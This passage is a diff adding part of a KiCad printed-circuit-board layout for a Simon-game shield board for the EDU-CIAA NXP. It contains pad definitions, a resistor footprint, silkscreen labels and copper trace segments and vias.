+    (pad 67 thru_hole oval (at -71.12 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 93 "Net-(XA1-Pad67)"))
+    (pad 68 thru_hole oval (at -68.58 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 28 /ciaaConector/LED_2))
+    (pad 69 thru_hole oval (at -71.12 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 94 "Net-(XA1-Pad69)"))
+    (pad 70 thru_hole oval (at -68.58 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 95 "Net-(XA1-Pad70)"))
+    (pad 71 thru_hole oval (at -71.12 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 96 "Net-(XA1-Pad71)"))
+    (pad 72 thru_hole oval (at -68.58 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 97 "Net-(XA1-Pad72)"))
+    (pad 73 thru_hole oval (at -71.12 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 30 /ciaaConector/LED_4))
+    (pad 74 thru_hole oval (at -68.58 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 29 /ciaaConector/LED_3))
+    (pad 75 thru_hole oval (at -71.12 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 18 /buttons/BTN_LED_4))
+    (pad 76 thru_hole oval (at -68.58 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 17 /buttons/BTN_CFG_3))
+    (pad 77 thru_hole oval (at -71.12 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 78 thru_hole oval (at -68.58 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 23 /buttons/BTN_LED_3))
+    (pad 79 thru_hole oval (at -71.12 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 1 GND))
+    (pad 80 thru_hole oval (at -68.58 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)
+      (net 24 /buttons/BTN_CFG_4))
+  )
+
+  (module Resistors_THT:R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal (layer F.Cu) (tedit 59573707) (tstamp 59574258)
+    (at 99.4 58.3 90)
+    (descr "Resistor, Axial_DIN0207 series, Axial, Horizontal, pin pitch=10.16mm, 0.25W = 1/4W, length*diameter=6.3*2.5mm^2, http://cdn-reichelt.de/documents/datenblatt/B400/1_4W%23YAG.pdf")
+    (tags "Resistor Axial_DIN0207 series Axial Horizontal pin pitch 10.16mm 0.25W = 1/4W length 6.3mm diameter 2.5mm")
+    (path /59572EFC)
+    (fp_text reference "R 0 Ohm" (at 5.08 -2.31 90) (layer F.SilkS)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_text value R (at 5.08 2.31 90) (layer F.Fab)
+      (effects (font (size 1 1) (thickness 0.15)))
+    )
+    (fp_line (start 1.93 -1.25) (end 1.93 1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 1.93 1.25) (end 8.23 1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 8.23 1.25) (end 8.23 -1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 8.23 -1.25) (end 1.93 -1.25) (layer F.Fab) (width 0.1))
+    (fp_line (start 0 0) (end 1.93 0) (layer F.Fab) (width 0.1))
+    (fp_line (start 10.16 0) (end 8.23 0) (layer F.Fab) (width 0.1))
+    (fp_line (start 1.87 -1.31) (end 1.87 1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 1.87 1.31) (end 8.29 1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 8.29 1.31) (end 8.29 -1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 8.29 -1.31) (end 1.87 -1.31) (layer F.SilkS) (width 0.12))
+    (fp_line (start 0.98 0) (end 1.87 0) (layer F.SilkS) (width 0.12))
+    (fp_line (start 9.18 0) (end 8.29 0) (layer F.SilkS) (width 0.12))
+    (fp_line (start -1.05 -1.6) (end -1.05 1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start -1.05 1.6) (end 11.25 1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 11.25 1.6) (end 11.25 -1.6) (layer F.CrtYd) (width 0.05))
+    (fp_line (start 11.25 -1.6) (end -1.05 -1.6) (layer F.CrtYd) (width 0.05))
+    (pad 1 thru_hole circle (at 0 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)
+      (net 1 GND))
+    (pad 2 thru_hole oval (at 10.16 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)
+      (net 1 GND))
+    (model Resistors_THT.3dshapes/R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal.wrl
+      (at (xyz 0 0 0))
+      (scale (xyz 0.393701 0.393701 0.393701))
+      (rotate (xyz 0 0 0))
+    )
+  )
+
+  (gr_text "Poncho juego Simon EDU-CIAA NXP" (at 109 44.5) (layer F.SilkS) (tstamp 595746E3)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text "Autor: Juan Agustin Bassi git@gitlab.com:abassi/ponchoSimon.git\n" (at 108.25 105.25) (layer F.SilkS) (tstamp 595746E2)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text START (at 105 64.5) (layer F.SilkS) (tstamp 595746E1)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text GAME (at 113 64.5) (layer F.SilkS) (tstamp 595746E0)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text SKILL (at 105 101) (layer F.SilkS) (tstamp 595746DF)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text BEST (at 113 101) (layer F.SilkS) (tstamp 595746DE)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text "TEC 1" (at 95.5 64.5) (layer F.SilkS) (tstamp 595746DD)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text "TEC 2" (at 122.5 64.5) (layer F.SilkS) (tstamp 595746DC)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text "TEC 4" (at 124 101) (layer F.SilkS) (tstamp 595746DB)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text "TEC 3\n" (at 94 101) (layer F.SilkS) (tstamp 595746DA)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text JMP_VDD (at 82.524 46.269) (layer F.SilkS) (tstamp 595746D8)
+    (effects (font (size 1.5 1.5) (thickness 0.3)))
+  )
+  (gr_text 3V3 (at 86.207 50.968) (layer F.SilkS) (tstamp 595746D7)
+    (effects (font (size 1 0.5) (thickness 0.125)))
+  )
+  (gr_text 5V (at 85.953 53.762) (layer F.SilkS) (tstamp 595746D6)
+    (effects (font (size 1 0.5) (thickness 0.125)))
+  )
+  (gr_text "INDUSTRIA\nARGENTINA" (at 143.357 44.872) (layer F.SilkS) (tstamp 595746D5)
+    (effects (font (size 1.5 1.5) (thickness 0.1875)))
+  )
+  (gr_text AMARILLO (at 89 57.75) (layer F.SilkS) (tstamp 595746D4)
+    (effects (font (size 2 1.5) (thickness 0.1875)))
+  )
+  (gr_text ROJO (at 88.62 79.924) (layer F.SilkS) (tstamp 595746D3)
+    (effects (font (size 2 2) (thickness 0.1875)))
+  )
+  (gr_text VERDE (at 129.26 79.924) (layer F.SilkS) (tstamp 595746D2)
+    (effects (font (size 2 2) (thickness 0.1875)))
+  )
+  (gr_text AZUL (at 129.25 57.25) (layer F.SilkS) (tstamp 595746D1)
+    (effects (font (size 2 2) (thickness 0.1875)))
+  )
+  (gr_line (start 67 107.5) (end 67 42.25) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746D0))
+  (gr_line (start 67 42.25) (end 150.25 42.25) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CF))
+  (gr_line (start 150.25 42.25) (end 150.25 107.5) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CE))
+  (gr_line (start 150.25 107.5) (end 67 107.5) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CD))
+  (gr_text "Autor\nAgustin Bassi" (at 140.7 103.3) (layer B.Cu)
+    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))
+  )
+  (gr_text "EDU-CIAA NXP" (at 139.25 47.75) (layer B.Cu)
+    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))
+  )
+  (gr_text "PONCHO JUEGO SIMON" (at 134.75 44.75) (layer B.Cu)
+    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))
+  )
+
+  (segment (start 104.828971 53.624429) (end 102.212542 51.008) (width 1.2) (layer B.Cu) (net 1))
+  (segment (start 102.212542 51.008) (end 99.4 51.008) (width 1.2) (layer B.Cu) (net 1) (tstamp 595730B7))
+  (segment (start 72.11 99.228) (end 72.11 100.11) (width 0.6) (layer F.Cu) (net 1))
+  (segment (start 86 94.5) (end 85.9608 94.5) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D3))
+  (segment (start 85.9608 94.5392) (end 86 94.5) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D2))
+  (segment (start 85.9608 96.4608) (end 85.9608 94.5392) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D0))
+  (segment (start 86 96.5) (end 85.9608 96.4608) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38CF))
+  (via (at 86 96.5) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 1))
+  (segment (start 86 102.5) (end 86 96.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38C9))
+  (segment (start 84 104.5) (end 86 102.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38C5))
+  (segment (start 76.5 104.5) (end 84 104.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38BA))
+  (segment (start 72.11 100.11) (end 76.5 104.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38B7))
+  (segment (start 72.11 99.228) (end 72.11 96.688) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 109 88.5) (end 109 90.659) (width 1.5) (layer B.Cu) (net 1))
+  (segment (start 109 90.659) (end 108.94 90.719) (width 1.5) (layer B.Cu) (net 1) (tstamp 595956B2))
+  (segment (start 109 78.34) (end 109 75.1502) (width 1.5) (layer B.Cu) (net 1))
+  (segment (start 109 75.1502) (end 108.9478 75.098) (width 1.5) (layer B.Cu) (net 1) (tstamp 595956A4))
+  (segment (start 99.4 51.008) (end 99.4 48.14) (width 1.5) (layer B.Cu) (net 1))
+  (segment (start 89.255 51.008) (end 96.6 51.008) (width 1.2) (layer B.Cu) (net 1))
+  (segment (start 96.6 51.008) (end 99.4 51.008) (width 1.2) (layer B.Cu) (net 1) (tstamp 59570DD3))
+  (segment (start 72.11 53.508) (end 70.908002 53.508) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 85.147 46.9) (end 89.255 51.008) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570D7E))
+  (segment (start 72.1 46.9) (end 85.147 46.9) (width 1.2) (layer B.Cu) (net 1) (tstamp 59570D78))
+  (segment (start 70.100002 48.899998) (end 72.1 46.9) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D73))
+  (segment (start 70.100002 52.7) (end 70.100002 48.899998) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D6D))
+  (segment (start 70.908002 53.508) (end 70.100002 52.7) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D6A))
+  (segment (start 121.513 90.592) (end 121.513 98.212) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 127.8708 63.4887) (end 127.8708 62.2187) (width 0.6) (layer B.Cu) (net 1) (tstamp 57797282))
+  (segment (start 128.6328 64.2507) (end 127.8708 63.4887) (width 0.9) (layer B.Cu) (net 1) (tstamp 57797281))
+  (segment (start 131.1728 64.2507) (end 128.6328 64.2507) (width 0.9) (layer B.Cu) (net 1) (tstamp 57797280))
+  (segment (start 131.9348 65.0127) (end 131.1728 64.2507) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727F))
+  (segment (start 131.9348 70.6007) (end 131.9348 65.0127) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727E))
+  (segment (start 131.4268 71.1087) (end 131.9348 70.6007) (width 0.6) (layer B.Cu) (net 1) (tstamp 5779727D))
+  (segment (start 99.4 58.3) (end 99.4 60.3) (width 1.5) (layer B.Cu) (net 1))
+  (segment (start 102.8 63.7) (end 107.2 63.7) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DE6))
+  (segment (start 107.2 63.7) (end 108.9478 65.4478) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DF0))
+  (segment (start 108.9478 65.4478) (end 108.9478 67.3588) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DF1))
+  (segment (start 99.4 60.3) (end 102.8 63.7) (width 1.5) (layer B.Cu) (net 1) (tstamp 595730BB))
+  (segment (start 96.367 74.844) (end 96.367 71.161) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 96.367 71.161) (end 96.367 71.1087) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6457))
+  (segment (start 108.9478 75.098) (end 108.9478 67.3588) (width 1.5) (layer B.Cu) (net 1))
+  (segment (start 108.9478 74.9187) (end 108.9478 75.098) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 108.9478 67.3588) (end 108.94 67.351) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F644D))
+  (segment (start 108.94 67.351) (end 108.94 67.2987) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6451))
+  (segment (start 121.513 74.844) (end 121.513 71.034) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 121.513 71.034) (end 121.5208 71.034) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6446))
+  (segment (start 107.5508 74.9187) (end 108.9478 74.9187) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 108.9478 74.9187) (end 110.3448 74.9187) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779933B))
+  (segment (start 85.9608 70.6007) (end 86.0243 70.6642) (width 0.3048) (layer B.Cu) (net 1))
+  (segment (start 86.0243 70.6642) (end 86.4688 71.1087) (width 0.635) (layer B.Cu) (net 1) (tstamp 577991A3))
+  (segment (start 85.9608 65.0127) (end 85.9608 70.6007) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861DB))
+  (segment (start 86.7228 64.2507) (end 85.9608 65.0127) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861DA))
+  (segment (start 89.2628 64.2507) (end 86.7228 64.2507) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861D9))
+  (segment (start 90.0248 63.4887) (end 89.2628 64.2507) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861D8))
+  (segment (start 90.0248 62.2187) (end 90.0248 63.4887) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 86.4688 71.1087) (end 96.367 71.1087) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861F6))
+  (segment (start 96.367 71.1087) (end 96.3748 71.1087) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6458))
+  (segment (start 121.5208 71.1087) (end 121.5208 71.034) (width 0.3048) (layer B.Cu) (net 1))
+  (segment (start 111.1068 71.1087) (end 121.5208 71.1087) (width 0.6) (layer B.Cu) (net 1) (tstamp 5779727C))
+  (segment (start 121.5208 71.1087) (end 131.4268 71.1087) (width 0.6) (layer B.Cu) (net 1) (tstamp 57797285))
+  (segment (start 107.5508 67.2987) (end 108.94 67.2987) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 108.94 67.2987) (end 110.3448 67.2987) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6452))
+  (segment (start 96.3748 71.1087) (end 106.7888 71.1087) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 106.7888 71.1087) (end 107.5508 70.3467) (width 0.9) (layer B.Cu) (net 1) (tstamp 577861F7))
+  (segment (start 107.5508 70.3467) (end 107.5508 67.2987) (width 0.9) (layer B.Cu) (net 1) (tstamp 577861F8))
+  (segment (start 110.3448 67.2987) (end 110.3448 70.3467) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 110.3448 70.3467) (end 111.1068 71.1087) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727B))
+  (segment (start 96.3748 67.2987) (end 96.3748 71.1087) (width 0.9) (layer B.Cu) (net 1))
+  (segment (start 121.5208 71.034) (end 121.5208 67.2987) (width 0.9) (layer B.Cu) (net 1) (tstamp 578F6447))
+  (segment (start 110.337 90.592) (end 110.337 93.537) (width 0.6) (layer B.Cu) (net 1))
+  (segment (start 131.1035 94.8) (end 131.9983 93.9052) (width 0.6) (layer B.Cu) (net 1) (tstamp 5957041D))
+  (segment (start 111.6 94.8) (end 131.1035 94.8) (width 0.6) (layer B.Cu) (net 1) (tstamp 5957041A))
+  (segment (start 110.337 93.537) (end 111.6 94.8) (width 0.6) (layer B.Cu) (net 1) (tstamp 59570418))
+  (segment (start 108.94 98.2867) (end 108.94 90.719) (width 1.2) (layer B.Cu) (net 1))
+  (segment (start 108.94 90.719) (end 108.94 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6430))
+  (segment (start 96.367 98.339) (end 96.367 94.529) (width 1.2) (layer B.Cu) (net 1))
+  (segment (start 96.367 94.529) (end 96.367 94.4767) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F641A))
+  (segment (start 107.5508 98.2867) (end 108.94 98.2867) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 108.94 98.2867) (end 110.3448 98.2867) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F642A))
+  (segment (start 107.5508 90.6667) (end 108.94 90.6667) (width 0.635) (layer B.Cu) (net 1))
+  (segment (start 108.94 90.6667) (end 109.0748 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6431))
+  (segment (start 109.0748 90.6667) (end 110.3448 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 57799351))
+  (segment (start 128.6328 87.6187) (end 127.8708 86.8567) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DB))
+  (segment (start 127.8708 86.8567) (end 127.8708 85.5867) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DA))
+  (segment (start 86.4688 94.4767) (end 96.367 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972ED))
+  (segment (start 85.9608 93.9687) (end 86.4688 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E7))
+  (segment (start 85.9608 94.5) (end 85.9608 93.9687) (width 1.2) (layer B.Cu) (net 1) (tstamp 595A38D4))
+  (segment (start 96.367 94.4767) (end 96.3748 94.4767) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F641B))
+  (segment (start 90.0248 85.5867) (end 90.0248 86.3567) (width 0.3048) (layer B.Cu) (net 1) (tstamp 577972EC))
+  (segment (start 85.9608 88.3807) (end 85.9608 94.5) (width 1.2) (layer B.Cu) (net 1) (tstamp 577972EB))
+  (segment (start 90.0248 86.3567) (end 88.4628 87.9187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E8))
+  (segment (start 88.4628 87.9187) (end 86.4228 87.9187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E9))
+  (segment (start 86.4228 87.9187) (end 85.9608 88.3807) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972EA))
+  (segment (start 96.3748 90.6667) (end 96.3748 94.4767) (width 1.2) (layer B.Cu) (net 1) (tstamp 577972E6))
+  (segment (start 107.5508 93.7147) (end 107.5508 90.6667) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972E5))
+  (segment (start 106.7888 94.4767) (end 107.5508 93.7147) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972E4))
+  (segment (start 96.3748 94.4767) (end 106.7888 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E3))
+  (segment (start 131.4268 94.4767) (end 131.9983 93.9052) (width 0.3048) (layer B.Cu) (net 1) (tstamp 577972DF))
+  (segment (start 131.9983 93.9052) (end 131.9348 93.9687) (width 0.3048) (layer B.Cu) (net 1) (tstamp 57799A41))
+  (segment (start 131.9348 93.9687) (end 131.9348 88.3807) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972DE))
+  (segment (start 131.9348 88.3807) (end 131.1728 87.6187) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972DD))
+  (segment (start 131.1728 87.6187) (end 128.6328 87.6187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DC))
+  (segment (start 87.4848 62.2187) (end 87.7388 61.9647) (width 0.3048) (layer B.Cu) (net 2) (tstamp 577861A8))
+  (segment (start 87.7388 61.9647) (end 87.4848 62.2187) (width 0.3048) (layer B.Cu) (net 2) (tstamp 577861AA))
+  (segment (start 83.4208 62.2187) (end 87.4848 62.2187) (width 1.2) (layer B.Cu) (net 2))
+  (segment (start 134.4748 62.2187) (end 130.4108 62.2187) (width 0.9) (layer B.Cu) (net 3))
+  (segment (start 134.4748 85.5867) (end 130.4108 85.5867) (width 0.9) (layer B.Cu) (net 4) (tstamp 577972EE))
+  (segment (start 120.410164 56.516464) (end 120.936536 56.516464) (width 0.3048) (layer B.Cu) (net 5))
+  (segment (start 123.2353 54.2177) (end 123.2353 52.0587) (width 0.9) (layer B.Cu) (net 5) (tstamp 57799117))
+  (segment (start 120.936536 56.516464) (end 123.2353 54.2177) (width 0.9) (layer B.Cu) (net 5) (tstamp 57799116))
+  (segment (start 119.140164 57.786464) (end 117.616164 57.786465) (width 0.9) (layer B.Cu) (net 6))
+  (segment (start 113.552164 53.722465) (end 111.266164 53.722465) (width 0.9) (layer B.Cu) (net 6) (tstamp 57796343))
+  (segment (start 117.616164 57.786465) (end 113.552164 53.722465) (width 0.9) (layer B.Cu) (net 6) (tstamp 57796341))
+  (segment (start 111.266164 53.722465) (end 111.178971 53.624429) (width 0.3048) (layer B.Cu) (net 6) (tstamp 57796346))
+  (segment (start 111.262972 53.694429) (end 111.178971 53.624429) (width 0.3048) (layer B.Cu) (net 6) (tstamp 5778582A))
+  (segment (start 82.1508 64.5047) (end 82.1508 60.9487) (width 0.45) (layer B.Cu) (net 7) (tstamp 577861A5))
+  (segment (start 82.6588 65.0127) (end 82.1508 64.5047) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A4))
+  (segment (start 83.4208 65.0127) (end 82.6588 65.0127) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A3))
+  (segment (start 83.9288 65.5207) (end 83.4208 65.0127) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A2))
+  (segment (start 83.9288 67.0447) (end 83.9288 65.5207) (width 0.635) (layer B.Cu) (net 7))
+  (segment (start 81.08405 65.21595) (end 81.08405 65.08405) (width 0.6) (layer B.Cu) (net 8))
+  (segment (start 80.873 64.873) (end 80.873 62.144) (width 0.6) (layer B.Cu) (net 8) (tstamp 595730D1))
+  (segment (start 81.08405 65.08405) (end 80.873 64.873) (width 0.6) (layer B.Cu) (net 8) (tstamp 595730D0))
+  (segment (start 82.1508 66.2827) (end 81.08405 65.21595) (width 0.45) (layer B.Cu) (net 8) (tstamp 5778619C))
+  (segment (start 81.08405 65.21595) (end 80.8808 65.0127) (width 0.45) (layer B.Cu) (net 8) (tstamp 595730CE))
+  (segment (start 82.1508 69.0767) (end 82.1508 66.2827) (width 0.45) (layer B.Cu) (net 8) (tstamp 5778619A))
+  (segment (start 80.3728 70.8547) (end 82.1508 69.0767) (width 0.9) (layer B.Cu) (net 8) (tstamp 57786198))
+  (segment (start 80.3728 74.6647) (end 80.3728 70.8547) (width 0.9) (layer B.Cu) (net 8))
+  (segment (start 135.7448 63.4887) (end 135.7448 64.5047) (width 0.9) (layer B.Cu) (net 9))
+  (segment (start 133.9668 65.5207) (end 133.9668 66.7907) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C7))
+  (segment (start 134.4748 65.0127) (end 133.9668 65.5207) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C6))
+  (segment (start 135.2368 65.0127) (end 134.4748 65.0127) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C5))
+  (segment (start 135.7448 64.5047) (end 135.2368 65.0127) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C4))
+  (segment (start 133.9668 66.7907) (end 134.2208 67.0447) (width 0.3048) (layer B.Cu) (net 9) (tstamp 577972C8))
+  (segment (start 137.5228 74.6647) (end 137.5228 70.8547) (width 0.9) (layer B.Cu) (net 10))
+  (segment (start 137.0148 65.0127) (end 137.0148 62.2187) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972D0))
+  (segment (start 135.7448 66.2827) (end 137.0148 65.0127) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972CF))
+  (segment (start 135.7448 69.0767) (end 135.7448 66.2827) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972CE))
+  (segment (start 137.5228 70.8547) (end 135.7448 69.0767) (width 0.9) (layer B.Cu) (net 10) (tstamp 577972CD))
+  (segment (start 133.9668 90.1587) (end 134.2208 90.4127) (width 0.3048) (layer B.Cu) (net 11) (tstamp 577972F7))
+  (segment (start 133.9668 88.8887) (end 133.9668 90.1587) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F3))
+  (segment (start 134.4748 88.3807) (end 133.9668 88.8887) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F4))
+  (segment (start 135.2368 88.3807) (end 134.4748 88.3807) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F5))
+  (segment (start 135.7448 87.8727) (end 135.2368 88.3807) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F6))
+  (segment (start 135.7448 86.8567) (end 135.7448 87.8727) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F2))
+  (segment (start 137.6 86.105) (end 137.007 85.512) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710AD))
+  (segment (start 137.6 87.6) (end 137.6 86.105) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710A8))
+  (segment (start 135.7 89.5) (end 137.6 87.6) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710A4))
+  (segment (start 135.7 93.8) (end 135.7 89.5) (width 0.6) (layer B.Cu) (net 12) (tstamp 5957109D))
+  (segment (start 137.515 98.085) (end 137.515 95.615) (width 0.6) (layer B.Cu) (net 12))
+  (segment (start 137.515 95.615) (end 135.7 93.8) (width 0.6) (layer B.Cu) (net 12) (tstamp 5957109B))
+  (segment (start 74.65 73.828) (end 76.828 73.828) (width 0.9) (layer B.Cu) (net 13))
+  (segment (start 81 77.6) (end 85.483 77.6) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AB))
+  (segment (start 85.483 77.6) (end 88.239 74.844) (width 0.45) (layer B.Cu) (net 13) (tstamp 59570BCA))
+  (segment (start 79.1 77.6) (end 77.2 75.7) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AD))
+  (segment (start 77.2 75.7) (end 77.2 74.2) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AF))
+  (segment (start 77.2 74.2) (end 76.9 73.9) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715B1))
+  (segment (start 81 77.6) (end 79.1 77.6) (width 0.45) (layer B.Cu) (net 13))
+  (segment (start 76.828 73.828) (end 76.9 73.9) (width 0.9) (layer B.Cu) (net 13) (tstamp 59572D3C))
+  (segment (start 91.287 74.844) (end 91.287 72.939) (width 1.2) (layer B.Cu) (net 13))
+  (segment (start 91.287 69.637) (end 91.287 67.224) (width 1.2) (layer B.Cu) (net 13) (tstamp 57980540))
+  (via (at 91.287 69.637) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 13))
+  (segment (start 91.287 72.939) (end 91.287 69.637) (width 0.3048) (layer F.Cu) (net 13) (tstamp 5798053D))
+  (via (at 91.287 72.939) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 13))
+  (segment (start 91.0408 74.6647) (end 91.2948 74.9187) (width 0.3048) (layer B.Cu) (net 13) (tstamp 577861FD))
+  (segment (start 88.2468 74.6647) (end 91.0408 74.6647) (width 1.2) (layer B.Cu) (net 13))
+  (segment (start 74.65 76.368) (end 75.668 76.368) (width 0.9) (layer B.Cu) (net 14))
+  (segment (start 77.9 78.6) (end 76.8 77.5) (width 0.45) (layer B.Cu) (net 14) (tstamp 59571D85))
+  (segment (start 95.659 78.6) (end 99.415 74.844) (width 0.45) (layer B.Cu) (net 14) (tstamp 59570BB3))
+  (segment (start 95.659 78.6) (end 77.9 78.6) (width 0.45) (layer B.Cu) (net 14))
+  (segment (start 75.668 76.368) (end 76.8 77.5) (width 0.9) (layer B.Cu) (net 14) (tstamp 59572D3F))
+  (segment (start 102.463 74.844) (end 102.463 72.685) (width 0.9) (layer B.Cu) (net 14))
+  (segment (start 102.463 69.002) (end 102.463 67.224) (width 0.9) (layer B.Cu) (net 14) (tstamp 57980538))
+  (segment (start 102.336 69.129) (end 102.463 69.002) (width 0.3048) (layer B.Cu) (net 14) (tstamp 57980537))
+  (via (at 102.336 69.129) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 14))
